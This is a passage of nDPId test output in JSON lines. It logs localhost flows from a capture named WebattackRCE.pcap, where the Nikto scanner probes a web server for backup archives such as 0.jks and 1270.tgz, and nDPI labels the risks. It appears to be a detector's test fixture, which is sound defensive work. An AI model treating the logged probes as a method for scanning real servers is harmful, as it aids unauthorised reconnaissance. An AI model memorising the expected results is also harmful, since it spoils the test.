+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":326,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":326,"flow_packet_id":1,"flow_first_seen":1576420277194,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50196,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":326,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":326,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":194681,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9JiRAAEAGFhV\/AAABfwAAAcQUH5CXxR6x507sMoAYAED+sQAAAQEICp1m\/PKdZvzyR0VUIC8wLmprcyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":326,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":326,"flow_packet_id":1,"flow_first_seen":1576420277194,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50196,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":327,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":327,"flow_packet_id":1,"flow_first_seen":1576420277196,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50198,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":327,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":327,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":196275,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADASbJAAEAG8oN\/AAABfwAAAcQWH5DgxXEkcLyXoIAYAED+tAAAAQEICp1m\/PSdZvz0R0VUIC8xMjcwLnRneiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":327,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":327,"flow_packet_id":1,"flow_first_seen":1576420277196,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50198,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":328,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":328,"flow_packet_id":1,"flow_first_seen":1576420277198,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50200,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":328,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":328,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":198845,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAjLtAAEAGr3p\/AAABfwAAAcQYH5DOSLQrVcLjaIAYAED+tAAAAQEICp1m\/PadZvz2R0VUIC8xMjcwLnRneiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":328,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":328,"flow_packet_id":1,"flow_first_seen":1576420277198,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50200,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":329,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":329,"flow_packet_id":1,"flow_first_seen":1576420277200,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50202,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":329,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":329,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":200280,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFaNRAAEAG01x\/AAABfwAAAcQaH5BzoVBHI7Wyn4AYAED+uQAAAQEICp1m\/PidZvz4R0VUIC8xMjcuMC4wLjEudGd6IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":329,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":329,"flow_packet_id":1,"flow_first_seen":1576420277200,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50202,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":330,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":330,"flow_packet_id":1,"flow_first_seen":1576420277201,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50204,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00635{"flow_id":330,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":330,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":201800,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFz59AAEAGbJF\/AAABfwAAAcQcH5D4h\/cKGx\/I\/4AYAED+uQAAAQEICp1m\/PmdZvz5R0VUIC8xMjcuMC4wLjEudGd6IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":330,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":330,"flow_packet_id":1,"flow_first_seen":1576420277201,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50204,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":331,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":331,"flow_packet_id":1,"flow_first_seen":1576420277203,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50206,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":331,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":331,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":203191,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBfg5AAEAGviZ\/AAABfwAAAcQeH5A6WEaZ3wpBiYAYAED+tQAAAQEICp1m\/PudZvz7R0VUIC8xMjcwMC56aXAgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":331,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":331,"flow_packet_id":1,"flow_first_seen":1576420277203,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50206,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":332,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":332,"flow_packet_id":1,"flow_first_seen":1576420277204,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50208,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":332,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":332,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":204562,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBsIBAAEAGi7R\/AAABfwAAAcQgH5BX0ojsod\/7v4AYAED+tQAAAQEICp1m\/PydZvz8R0VUIC8xMjcwMC56aXAgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":332,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":332,"flow_packet_id":1,"flow_first_seen":1576420277204,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50208,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":333,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":333,"flow_packet_id":1,"flow_first_seen":1576420277206,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50210,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":333,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":333,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":206208,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEp6FAAEAGlJB\/AAABfwAAAcQiH5DXnp8L7+WKyYAYAED+uAAAAQEICp1m\/P6dZvz+R0VUIC8xMjcwLnRhci5iejIgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":333,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":333,"flow_packet_id":1,"flow_first_seen":1576420277206,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50210,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":334,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":334,"flow_packet_id":1,"flow_first_seen":1576420277207,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50212,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":334,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":334,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":207661,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADELblAAEAGDnl\/AAABfwAAAcQkH5A1yBUjW63h5IAYAED+uAAAAQEICp1m\/P+dZvz\/R0VUIC8xMjcwLnRhci5iejIgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":334,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":334,"flow_packet_id":1,"flow_first_seen":1576420277207,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50212,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":335,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":335,"flow_packet_id":1,"flow_first_seen":1576420277209,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50214,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":335,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":335,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":209064,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDSgRAAEAG8i5\/AAABfwAAAcQmH5DZEXKVufuNq4AYAED+twAAAQEICp1m\/QCdZv0AR0VUIC8xMjcuMC4wLmFseiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":335,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":335,"flow_packet_id":1,"flow_first_seen":1576420277209,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50214,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":336,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":336,"flow_packet_id":1,"flow_first_seen":1576420277210,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50216,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":336,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":336,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":210284,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDtt9AAEAGhVN\/AAABfwAAAcQoH5DVr45M6gY7v4AYAED+twAAAQEICp1m\/QKdZv0CR0VUIC8xMjcuMC4wLmFseiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":336,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":336,"flow_packet_id":1,"flow_first_seen":1576420277210,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50216,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":337,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":337,"flow_packet_id":1,"flow_first_seen":1576420277211,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50218,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":337,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":337,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":211474,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9XspAAEAG3W5\/AAABfwAAAcQqH5Bdf2ZfE+bMgYAYAED+sQAAAQEICp1m\/QOdZv0DR0VUIC8wLnRneiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":337,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":337,"flow_packet_id":1,"flow_first_seen":1576420277211,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50218,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":338,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":338,"flow_packet_id":1,"flow_first_seen":1576420277213,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50220,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":338,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":338,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":213780,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9v\/9AAEAGfDl\/AAABfwAAAcQsH5CYPYdrmayyCIAYAED+sQAAAQEICp1m\/QWdZv0FR0VUIC8wLnRneiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":338,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":338,"flow_packet_id":1,"flow_first_seen":1576420277213,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50220,"dst_port":8080,"l4_proto":"tcp","ndpi": 